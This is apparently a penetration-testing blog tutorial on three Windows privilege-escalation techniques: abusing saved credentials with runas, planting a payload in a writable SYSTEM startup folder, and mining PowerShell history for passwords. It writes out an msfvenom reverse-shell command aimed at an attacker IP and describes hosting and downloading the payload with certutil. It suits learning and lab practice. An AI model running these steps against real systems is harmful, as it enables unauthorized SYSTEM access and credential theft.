Hello Friend. Welcome back to a new part of this series.
Check out the first part of this series from HERE. & Second part from HERE
In this part, we’re going to cover 3 techniques.
6. Privilege Escalation: Saved Creds
Theory
When you log in to a resource and choose to save your credentials, Windows securely stores them in the Credential Manager. This is a component of the Windows OS that manages credentials and allows users to view, edit, and delete saved credentials.
Saved credentials are a feature that allows users to securely store login information for various resources, such as websites, network shares, or remote servers so that they don’t have to enter their username and password each time they access those resources.
The Saved Creds methodology is simple;
Pre-Condition: There must a Credentials saved for a high-privilege account.
- Run the “cmdkey /list” command in the target system to list all the saved creds from Credential Manager or for GUI WIN+R -> control keymgr.dll
- If find any Higher privilege account then we can execute a command with that privilege using these credentials.
Practical
First, let’s all the credentials saved in the credential manager I’ve done it via Command we can also do the same process from GUI.
Ok, so we found 2 Creds. Let’s Explain the format of these cred entries.
Note: The First Creds Entry is by default present in Windows OS so I’m not going to define the format of that.
Second Creds Entry’s Format
- Target: This entry is associated with a target in a Windows domain environment. The target is “Domain: interactive” and seems to be linked to the “WIN-QBA94KB3IOF” domain, with the user account “admin” being used in the context of an interactive session.
- Type: The credential type is “Domain Password,” suggesting that these credentials are specific to authenticating with domain controllers in a Windows domain environment.
- User: The associated username for this credential entry is “WIN-QBA94KB3IOF\admin,” indicating that it is a domain user account with administrative privileges.
We got our hands on an Account not just basic but an Account with “Domain Admin Privileges”. It opens a lot of possibilities for an adversary. Let’s just say we can use these to do anything in the Domain Network of the target but here just for a PoC let’s run a reverse shell code to get the shell of the target with the “Domain Admin” privilege.
Target system.
runas: Use to run commands as different user’s privileges. (just like sudo)
At the Attacker’s Side
7. Privilege Escalation: Startup App
Theory
Startup Apps can be defined as programs or applications that are configured to launch automatically when your computer starts up. These apps are designed to run in the background when you log in to your user account. Some examples of common startup apps include antivirus software, instant messaging clients, cloud storage services, Windows Updates and system utilities.
The Startup App methodology is simple;
Pre-Condition: Must have a startup App Directory’s Permission Broken OR have a program’s binary in the startup App with Permission Broken.
- Enumerate all the startup apps. We’ve two types of Startup App Directories.
User Startup App Directory
“C:\Users<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
Note: Each User has their own Startup App Directory which runs with their privileges & Each user will only run whatever is available in their Startup App Directory.
System Startup App Directory
“C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp”
Note: System-wide Startup App’s Directory. It’s working is same as the previous one but it applied to all users so whenever any user login it’ll trigger. Also because it’s applied to the whole system it runs with “SYSTEM” Privileges so every binary here runs with “SYSTEM” Privileges
- Check if you have write permission to overwrite some startup app program’s binary OR check if in the directory where startup apps are stored have “FILE_ALL_ACCESS” perm enabled.
- Modify the original program’s binary (payload .exe name must be same as original .exe) & OR Create a payload in the startup app directory
- Wait for user login activity to trigger your payload to gain that specific user’s privilege (for user startup App) or gain SYSTEM Priv (for System Startup App Dir)
Practical
Check all the Startup App Directories in the whole system.
autorunsc.exe -m -nobanner -a * -ct /accepteula (Sysinternals tool to enumerate all paths where startup & autoruns app are located)
We found the "SYSTEM Startup App Directory with Broken Permissions set on it.
A/C to Permission all buildin/Users group members have “FULL_ACCESS” on this directory.
BUILTIN\Users (default group in Windows that grants basic access (allows essential tasks & access common resources) to local users while ensuring that they do not have full administrative rights on the system. Any local user account that is created on the system is automatically a member of this group.
So let’s create a reverse shell payload via msfvenom & drop it into this SYSTEM-wide startup App directory.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER IP> LPORT=<ATTACKER PORT> -f exe -o rev-shell.exe
Let’s Host it via the Python HTTP server
python3 -m http.server <ATTACKER PORT> -b <ATTACKER IP> -d ~/Downloads
At target, the side used certutil tool to download this payload & place this into the “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp” directory.
Now you can do the following to trigger the payload.
- Wait for the system to reboot or restart (Usually, we do this in Real Pentest/Red Team Simulation but it takes time)
- Wait for the user’s login activity login (Sign out the user from his session & wait for his sign-in activity. Won’t take time but can be suspicious sometimes).
- Do it Yourself (if know any user or specific user’s password then perform the sign-out & sign-in technique yourself).
Here we perform the third method just to speed up the process & for learning simulation.
From the lock screen sign in again into any account.
“Signing out in Windows refers to the process of ending a user session and returning to the Windows login screen. When you sign out, all your open files, programs, and processes are closed, and the system returns to the login screen where another user can log in or the current user can log back in.”
As you can see when we sign in again the system will run all the programs set in the startup App’s folder & after 5–15 seconds we’ll get our connection with the “SYSTEM” privilege as our payload.
8. Privilege Escalation: Powershell’s History
Theory
In PowerShell, multiple utilities monitor or log all PS commands ran. Some of them are:
- Command History: PowerShell maintains a command history, which is a list of commands you have executed during the current session. This history allows you to review and access previously executed commands without retyping them.
- Transcription Logs: Allows you to record all the input and output of a PowerShell session into a file. Transcription logs capture not only the commands you executed but also the results of those commands and any output or errors generated during the session.
- PSReadLine is responsible for providing enhanced command-line editing and history capabilities, including features like syntax highlighting, multiline editing, and improved navigation through command history. ConsoleHost_history.txt: Simple text file managed by, storing the command history for the current user’s PowerShell sessions.
The Powershell History methodology is simple;
- Check all the PS history files to find useful info there such as credentials & other config info
Get-history: Show all commands ran in the current PS session only also it’s non-persist (which means remains persistent only during the PS session)
dir /s “PowerShell_transcript_logs”: list all PS commands ran in any session PS (it saves all past PS session data).
dir /s “ConsoleHost_history.txt”: Show all commands ran in any session (run from C:) but it saves all commands from all PS sessions in one file & only commands. The good thing is its remains persist
Practical
Check all the PS history logs files. No current PS sessions are running in the target system so “get-history” is useless here also transcription logs service is not running so let’s find out if there’s any “ConsoleHost_history.txt”.
Practical
Check all the PS history logs files. No current PS sessions are running in the target system so “get-history” is useless here also transcription logs service is not running so let’s find out if there’s any “ConsoleHost_history.txt”.
We do find so let’s check this to see if we can gain access to any useful info.
Great. Look like the user used the “cmdkey” command & also pass his password in there.
We can use these credentials in the “runas” to spawn processes or start programs with these user privileges.
That’s it, Hope you’ve learned something new 🙂
if want to support us with coffee then ping us here
Question or any suggestion for a new Topic? Ping me on my socials
